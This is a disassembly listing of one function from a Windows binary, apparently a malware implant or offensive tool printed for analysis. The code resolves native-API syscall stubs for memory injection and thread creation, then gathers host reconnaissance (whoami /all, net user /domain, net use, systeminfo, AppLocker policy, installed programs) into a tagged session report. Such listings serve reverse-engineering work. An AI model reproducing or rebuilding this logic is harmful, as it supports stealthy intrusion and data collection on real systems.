Function at 0x140005298
Capabilities:
Get hostname
Get session user name
Link many functions at runtime

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x828]
sub rsp, 0x900
mov rax, qword [0x1400cf728]
xor rax, rsp
mov qword [rbp + 0x7f0], rax
xor esi, esi
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
lea rdx, str.NtAllocateVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movzx ecx, byte [rax + 4]
mov dword [0x1400d23b0], ecx
lea rcx, [rax + 0x12]
mov qword [0x1400d23c0], rcx
lea rdx, str.NtWriteVirtualMemory
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movzx ecx, byte [rax + 4]
mov dword [0x1400d23cc], ecx
add rax, 0x12
mov qword [0x1400d23d8], rax
lea rdx, str.NtCreateThreadEx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movzx ecx, byte [rax + 4]
mov dword [0x1400d23c8], ecx
add rax, 0x12
mov qword [0x1400d23b8], rax
lea rdx, str.NtWaitForSingleObject
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movzx ecx, byte [rax + 4]
mov dword [0x1400d23ac], ecx
add rax, 0x12
mov qword [0x1400d23a0], rax
lea rdx, str.NtDelayExecution
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movzx ecx, byte [rax + 4]
mov dword [0x1400d23a8], ecx
add rax, 0x12
mov qword [0x1400d23d0], rax
lea rdx, str.NtProtectVirtualMemory
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movzx ecx, byte [rax + 4]
mov dword [0x1400d23b4], ecx
add rax, 0x12
mov qword [0x1400d23e0], rax
lea rdx, str.dry_run
lea rcx, [rbp - 0x70]
call fcn.14000786c
mov rcx, rax
call fcn.140004700
mov ebx, eax
test eax, eax
je 0x140005407
lea rdx, str.rejected_by_check
lea rcx, [0x1400d0c10]
call fcn.140009a90
mov edx, ebx
mov rcx, rax
call fcn.140007408
mov rcx, rax
call fcn.1400075c8
jmp 0x140006f38
call fcn.14000526c
call fcn.140004ff8
call fcn.1400050d4
mov dword [rbp + 0x298], 0x104
lea r8, [rbp + 0x298]
lea rdx, [rbp + 0x5e0]
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
lea rdx, [rbp + 0x5e0]
lea rcx, [rbp + 0x4b0]
call fcn.140007728
nop
lea rdx, [rbp + 0x260]
lea rcx, [rbp + 0x4b0]
call fcn.14000767c
mov rbx, qword [rax]
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x4b0]
call fcn.140007698
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x340]
call fcn.140009d78
nop
cmp qword [rbp + 0x350], 1
jae 0x1400054a4
lea rdx, str.Unknown
lea rcx, [rbp + 0x340]
call fcn.140007774
mov ebx, 0x101
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x4d0]
call fcn.140074060
mov dword [rbp + 0x270], ebx
lea rcx, [rbp + 0x360]
call fcn.1400078d8
nop
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x4d0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x1400054f8
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x360]
call fcn.140007774
lea rcx, [rbp + 0x418]
call fcn.140004fe8
lea rcx, [rbp + 0x418]
call fcn.1400071a8
nop
lea rcx, [rsp + 0x70]
call fcn.140009e80
nop
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x278]
call fcn.140002e8c
nop
lea rcx, [rsp + 0x70]
call fcn.14000851c
lea rcx, [rbp + 0x250]
call fcn.14000307c
lea rdx, [rbp + 0x278]
lea rcx, [rsp + 0x60]
call fcn.1400070a4
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140002fc0
nop
lea rcx, [rbp + 0x260]
call fcn.14000307c
lea rdx, [rbp + 0x278]
lea rcx, [rsp + 0x60]
call fcn.1400070a4
mov rdx, rax
lea rcx, [rbp + 0x260]
call fcn.140003024
nop
jmp 0x1400055da
mov rbx, qword [rbp + 0x250]
mov rcx, rbx
call fcn.140002c50
test al, al
je 0x1400055ce
lea rcx, [rbx + 0x20]
lea rdx, [rbp - 0x70]
call fcn.140002468
nop
mov rdx, rax
lea rcx, [rbp + 0x418]
call fcn.140007044
nop
lea rcx, [rbp - 0x70]
call fcn.140007788
lea rcx, [rbp + 0x250]
call fcn.140002ed4
lea rdx, [rbp + 0x260]
lea rcx, [rbp + 0x250]
call fcn.140002fb4
test al, al
jne 0x140005594
lea rcx, [rbp + 0x260]
call fcn.140002fe4
nop
lea rcx, [rbp + 0x250]
call fcn.140002fe4
nop
lea rcx, [rbp + 0x278]
call fcn.140002fe4
lea rcx, [rbp + 0x450]
call fcn.140004fe8
lea rcx, [rbp + 0x450]
call fcn.1400071a8
nop
lea rcx, [rsp + 0x70]
call fcn.140009eb4
nop
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x278]
call fcn.140002e8c
nop
lea rcx, [rsp + 0x70]
call fcn.14000851c
lea rcx, [rbp + 0x250]
call fcn.14000307c
lea rdx, [rbp + 0x278]
lea rcx, [rsp + 0x60]
call fcn.1400070a4
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140002fc0
nop
lea rcx, [rbp + 0x260]
call fcn.14000307c
lea rdx, [rbp + 0x278]
lea rcx, [rsp + 0x60]
call fcn.1400070a4
mov rdx, rax
lea rcx, [rbp + 0x260]
call fcn.140003024
nop
jmp 0x1400056f9
mov rbx, qword [rbp + 0x250]
mov rcx, rbx
call fcn.140002c50
test al, al
je 0x1400056ed
lea rcx, [rbx + 0x20]
lea rdx, [rbp - 0x70]
call fcn.140002468
nop
mov rdx, rax
lea rcx, [rbp + 0x450]
call fcn.140007044
nop
lea rcx, [rbp - 0x70]
call fcn.140007788
lea rcx, [rbp + 0x250]
call fcn.140002ed4
lea rdx, [rbp + 0x260]
lea rcx, [rbp + 0x250]
call fcn.140002fb4
test al, al
jne 0x1400056b3
lea rcx, [rbp + 0x260]
call fcn.140002fe4
nop
lea rcx, [rbp + 0x250]
call fcn.140002fe4
nop
lea rcx, [rbp + 0x278]
call fcn.140002fe4
lea rcx, [rbp + 0x3f8]
call fcn.1400078d8
nop
mov rbx, qword [rbp + 0x418]
mov rdi, qword [rbp + 0x420]
jmp 0x140005784
lea r8, reloc.WS2_32.dll_ioctlsocket
mov rdx, rbx
lea rcx, [rbp - 0x70]
call fcn.140009ee8
nop
mov rdx, rax
lea rcx, [rbp + 0x3f8]
call fcn.140007760
nop
lea rcx, [rbp - 0x70]
call fcn.140007788
add rbx, 0x20
cmp rbx, rdi
jne 0x140005753
lea rcx, [rbp + 0x3d8]
call fcn.1400078d8
nop
mov rbx, qword [rbp + 0x450]
mov rdi, qword [rbp + 0x458]
jmp 0x1400057d3
lea r8, reloc.WS2_32.dll_ioctlsocket
mov rdx, rbx
call fcn.140009ee8
nop
mov rdx, rax
lea rcx, [rbp + 0x3d8]
call fcn.140007760
nop
lea rcx, [rbp - 0x70]
call fcn.140007788
add rbx, 0x20
lea rcx, [rbp - 0x70]
cmp rbx, rdi
jne 0x1400057a6
lea rdx, [rbp + 0x3f8]
call fcn.1400078a0
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.140003ebc
mov rdx, rax
lea rcx, [rbp + 0x3f8]
call fcn.1400077e4
lea rcx, [rsp + 0x70]
call fcn.140007788
lea rdx, [rbp + 0x3d8]
lea rcx, [rbp - 0x70]
call fcn.1400078a0
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.140003ebc
mov rdx, rax
lea rcx, [rbp + 0x3d8]
call fcn.1400077e4
lea rcx, [rsp + 0x70]
call fcn.140007788
lea rcx, [rbp + 0x380]
call fcn.140004fe8
lea rcx, [rbp + 0x380]
call fcn.1400071a8
nop
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall
lea rcx, [rbp + 0x380]
call fcn.140004194
lea rdx, str.SOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionUninstall
lea rcx, [rbp + 0x380]
call fcn.140004194
lea rcx, [rbp + 0x3b8]
call fcn.1400078d8
nop
mov rdx, qword [rbp + 0x388]
mov rcx, qword [rbp + 0x380]
call fcn.140009fa8
mov rbx, qword [rbp + 0x380]
mov rdi, qword [rbp + 0x388]
jmp 0x14000594c
mov rdx, rbx
lea rcx, [rbp + 0x470]
call fcn.1400070cc
nop
lea r8, [0x1400c1938]
lea rdx, [rbp + 0x470]
lea rcx, [rbp + 0x210]
call fcn.140009ee8
nop
lea r8, [rbp + 0x490]
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.140009fbc
nop
lea r8, [0x1400c1f00]
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.140009f48
nop
mov rdx, rax
lea rcx, [rbp + 0x3b8]
call fcn.140007760
nop
lea rcx, [rbp - 0x70]
call fcn.140007788
nop
lea rcx, [rsp + 0x70]
call fcn.140007788
nop
lea rcx, [rbp + 0x210]
call fcn.140007788
nop
lea rcx, [rbp + 0x470]
call fcn.14000465c
add rbx, 0x40
cmp rbx, rdi
jne 0x1400058b6
lea rdx, [rbp + 0x3b8]
lea rcx, [rbp - 0x70]
call fcn.1400078a0
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.140003ebc
mov rdx, rax
lea rcx, [rbp + 0x3b8]
call fcn.1400077e4
lea rcx, [rsp + 0x70]
call fcn.140007788
lea rdx, str.whoami__all
lea rcx, [rbp + 0x430]
call fcn.140003084
nop
lea rdx, [rbp + 0x430]
lea rcx, [rbp - 0x70]
call fcn.1400078a0
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.140003ebc
mov rdx, rax
lea rcx, [rbp + 0x430]
call fcn.1400077e4
lea rcx, [rsp + 0x70]
call fcn.140007788
lea rdx, [0x1400c1f18]
lea rcx, [rbp + 0x398]
call fcn.140003084
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rsi
lea rdx, [rbp + 0x398]
mov r14d, reloc.OLEAUT32.dll_SafeArrayGetDim
cmp qword [rbp + 0x3b0], r14
cmovae rdx, qword [rbp + 0x398]
mov r8, qword [rbp + 0x3a8]
lea rcx, [rsp + 0x40]
call fcn.14000a858
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.140003ebc
mov rdx, rax
lea rcx, [rbp + 0x398]
call fcn.1400077e4
mov r15d, 0x1000
lea r12d, [r14 + 0x17]
lea r13d, [r14 + 0xf]
mov rdx, qword [rbp - 0x78]
cmp rdx, r14
jb 0x140005a89
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x140005a84
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x140006f70
call fcn.1400719e0
lea rdx, str.net_user
lea rcx, [rbp + 0x300]
call fcn.140003084
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rsi
lea rdx, [rbp + 0x300]
cmp qword [rbp + 0x318], r14
cmovae rdx, qword [rbp + 0x300]
mov r8, qword [rbp + 0x310]
lea rcx, [rsp + 0x40]
call fcn.14000a858
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.140003ebc
mov rdx, rax
lea rcx, [rbp + 0x300]
call fcn.1400077e4
mov rdx, qword [rbp - 0x78]
cmp rdx, r14
jb 0x140005b29
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x140005b24
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x140006f76
call fcn.1400719e0
lea rdx, str.net_user__domain
lea rcx, [rbp + 0x320]
call fcn.140003084
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rsi
lea rdx, [rbp + 0x320]
cmp qword [rbp + 0x338], r14
cmovae rdx, qword [rbp + 0x320]
mov r8, qword [rbp + 0x330]
lea rcx, [rsp + 0x40]
call fcn.14000a858
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.140003ebc
mov rdx, rax
lea rcx, [rbp + 0x320]
call fcn.1400077e4
mov rdx, qword [rbp - 0x78]
cmp rdx, r14
jb 0x140005bc9
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x140005bc4
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x140006f7c
call fcn.1400719e0
lea rdx, str.net_use
lea rcx, [rbp + 0x2e0]
call fcn.140003084
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rsi
lea rdx, [rbp + 0x2e0]
cmp qword [rbp + 0x2f8], r14
cmovae rdx, qword [rbp + 0x2e0]
mov r8, qword [rbp + 0x2f0]
lea rcx, [rsp + 0x40]
call fcn.14000a858
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.140003ebc
mov rdx, rax
lea rcx, [rbp + 0x2e0]
call fcn.1400077e4
mov rdx, qword [rbp - 0x78]
cmp rdx, r14
jb 0x140005c69
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x140005c64
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x140006f82
call fcn.1400719e0
lea rdx, str.powershell__Command__ExecutionContext.SessionState.LanguageMode
lea rcx, [rbp + 0x2c0]
call fcn.140003084
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rsi
lea rdx, [rbp + 0x2c0]
cmp qword [rbp + 0x2d8], r14
cmovae rdx, qword [rbp + 0x2c0]
mov r8, qword [rbp + 0x2d0]
lea rcx, [rsp + 0x40]
call fcn.14000a858
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.140003ebc
mov rdx, rax
lea rcx, [rbp + 0x2c0]
call fcn.1400077e4
mov rdx, qword [rbp - 0x78]
cmp rdx, r14
jb 0x140005d09
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x140005d04
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x140006f88
call fcn.1400719e0
lea rdx, str.powershell__Command_Get_AppLockerPolicy__Effective__Xml
lea rcx, [rbp + 0x2a0]
call fcn.140003084
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rsi
lea rdx, [rbp + 0x2a0]
cmp qword [rbp + 0x2b8], r14
cmovae rdx, qword [rbp + 0x2a0]
mov r8, qword [rbp + 0x2b0]
lea rcx, [rsp + 0x40]
call fcn.14000a858
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.140003ebc
mov rdx, rax
lea rcx, [rbp + 0x2a0]
call fcn.1400077e4
mov rdx, qword [rbp - 0x78]
cmp rdx, r14
jb 0x140005da9
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x140005da4
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x140006f8e
call fcn.1400719e0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rsi
lea rdx, [rbp + 0x360]
cmp qword [rbp + 0x378], r14
cmovae rdx, qword [rbp + 0x360]
mov r8, qword [rbp + 0x370]
lea rcx, [rsp + 0x40]
call fcn.14000a858
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.140003ebc
mov rdx, rax
lea rcx, [rbp + 0x360]
call fcn.1400077e4
mov rdx, qword [rbp - 0x78]
cmp rdx, r14
jb 0x140005e35
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x140005e30
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x140006f94
call fcn.1400719e0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rsi
lea rdx, [rbp + 0x340]
cmp qword [rbp + 0x358], r14
cmovae rdx, qword [rbp + 0x340]
mov r8, qword [rbp + 0x350]
lea rcx, [rsp + 0x40]
call fcn.14000a858
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.140003ebc
mov rdx, rax
lea rcx, [rbp + 0x340]
call fcn.1400077e4
mov rdx, qword [rbp - 0x78]
cmp rdx, r14
jb 0x140005ec1
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x140005ebc
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x140006f9a
call fcn.1400719e0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x60], rax
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rbp + 0x370]
sub rax, rcx
cmp rax, 0x32
jb 0x140006fa0
lea rax, [rbp + 0x360]
cmp qword [rbp + 0x378], r14
cmovae rax, qword [rbp + 0x360]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], gethostname
lea r9, str.session9c5aef1b30a7bcbd9ea31443c8b3264busername
lea rcx, [rsp + 0x70]
call fcn.14000b694
nop
mov edi, 8
mov r8d, edi
lea rdx, str.domain
lea rcx, [rsp + 0x70]
call fcn.140008754
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x200], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1f0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x200], xmm1
mov qword [rax + 0x10], rsi
lea ebx, [rdi + 7]
mov qword [rax + 0x18], rbx
mov byte [rax], sil
lea rdx, [rbp + 0x340]
cmp qword [rbp + 0x358], r14
cmovae rdx, qword [rbp + 0x340]
mov r8, qword [rbp + 0x350]
lea rcx, [rbp + 0x1f0]
call fcn.140008754
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1e0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1d0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1e0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rbx
mov byte [rax], sil
lea r8d, [rdi + 0xc]
lea rdx, str.installed_programs
lea rcx, [rbp + 0x1d0]
call fcn.140008754
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1c0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1b0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1c0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rbx
mov byte [rax], sil
lea rdx, [rbp + 0x3f8]
cmp qword [rbp + 0x410], r14
cmovae rdx, qword [rbp + 0x3f8]
mov r8, qword [rbp + 0x408]
lea rcx, [rbp + 0x1b0]
call fcn.140008754
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1a0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x190], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1a0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rbx
mov byte [rax], sil
lea r8d, [rdi + 0x10]
lea rdx, str.installed_programs_x86
lea rcx, [rbp + 0x190]
call fcn.140008754
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x180], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x170], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x180], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rbx
mov byte [rax], sil
lea rdx, [rbp + 0x3d8]
cmp qword [rbp + 0x3f0], r14
cmovae rdx, qword [rbp + 0x3d8]
mov r8, qword [rbp + 0x3e8]
lea rcx, [rbp + 0x170]
call fcn.140008754
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rbx
mov byte [rax], sil
lea r8d, [rdi + 0x15]
lea rdx, str.registry_installed_programs
lea rcx, [rbp - 0x30]
call fcn.140008754
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rbx
mov byte [rax], sil
lea rdx, [rbp + 0x3b8]
cmp qword [rbp + 0x3d0], r14
cmovae rdx, qword [rbp + 0x3b8]
mov r8, qword [rbp + 0x3c8]
lea rcx, [rbp - 0x10]
call fcn.140008754
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x80], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rbx
mov byte [rax], sil
lea ebx, [rdi + 4]
mov r8d, ebx
lea rdx, str.whoami_all
lea rcx, [rbp + 0x70]
call fcn.140008754
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], sil
lea rdx, [rbp + 0x430]
cmp qword [rbp + 0x448], r14
cmovae rdx, qword [rbp + 0x430]
mov r8, qword [rbp + 0x440]
lea rcx, [rbp + 0xb0]
call fcn.140008754
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x220], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x220], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], sil
mov r8d, ebx
lea rdx, str.systeminfo
lea rcx, [rbp + 0x210]
call fcn.140008754
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe0], xmm1
mov qword [rax + 0x10], rsi
lea ebx, [rdi + 7]
mov qword [rax + 0x18], rbx
mov byte [rax], sil
lea rdx, [rbp + 0x398]
cmp qword [rbp + 0x3b0], r14
cmovae rdx, qword [rbp + 0x398]
mov r8, qword [rbp + 0x3a8]
lea rcx, [rbp + 0xd0]
call fcn.140008754
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x100], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rbx
mov byte [rax], sil
lea r8d, [rdi + 1]
lea rdx, str.netuser
lea rcx, [rbp + 0xf0]
call fcn.140008754
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rbx
mov byte [rax], sil
lea rdx, [rbp + 0x300]
cmp qword [rbp + 0x318], r14
cmovae rdx, qword [rbp + 0x300]
mov r8, qword [rbp + 0x310]
lea rcx, [rbp - 0x50]
call fcn.140008754
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rbx
mov byte [rax], sil
mov r8d, ebx
lea rdx, str.netuserdomain
lea rcx, [rbp + 0x90]
call fcn.140008754
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x60], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rbx
mov byte [rax], sil
lea rdx, [rbp + 0x320]
cmp qword [rbp + 0x338], r14
cmovae rdx, qword [rbp + 0x320]
mov r8, qword [rbp + 0x330]
lea rcx, [rbp + 0x50]
call fcn.140008754
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x40], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rbx
mov byte [rax], sil
mov r8d, edi
lea rdx, str.netuse
lea rcx, [rbp + 0x30]
call fcn.140008754
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x20], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x20], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rbx
mov byte [rax], sil
lea rdx, [rbp + 0x2e0]
cmp qword [rbp + 0x2f8], r14
cmovae rdx, qword [rbp + 0x2e0]
mov r8, qword [rbp + 0x2f0]
lea rcx, [rbp + 0x10]
call fcn.140008754
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x160], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x150], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x160], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rbx
mov byte [rax], sil
lea r8d, [rdi + 0x12]
lea rdx, str.powershell_language_mode
lea rcx, [rbp + 0x150]
call fcn.140008754
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x140], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x130], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x140], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rbx
mov byte [rax], sil
lea rdx, [rbp + 0x2c0]
cmp qword [rbp + 0x2d8], r14
cmovae rdx, qword [rbp + 0x2c0]
mov r8, qword [rbp + 0x2d0]
lea rcx, [rbp + 0x130]
call fcn.140008754
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x120], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x120], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rbx
mov byte [rax], sil
lea r8d, [rdi + 0xa]
lea rdx, str.applocker_policy
lea rcx, [rbp + 0x110]
call fcn.140008754
xorps xmm0, xmm0
movups xmmword [rbp + 0x278], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x288], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x278], xmm0
movups xmm1, xmmword [rax + 0x10]
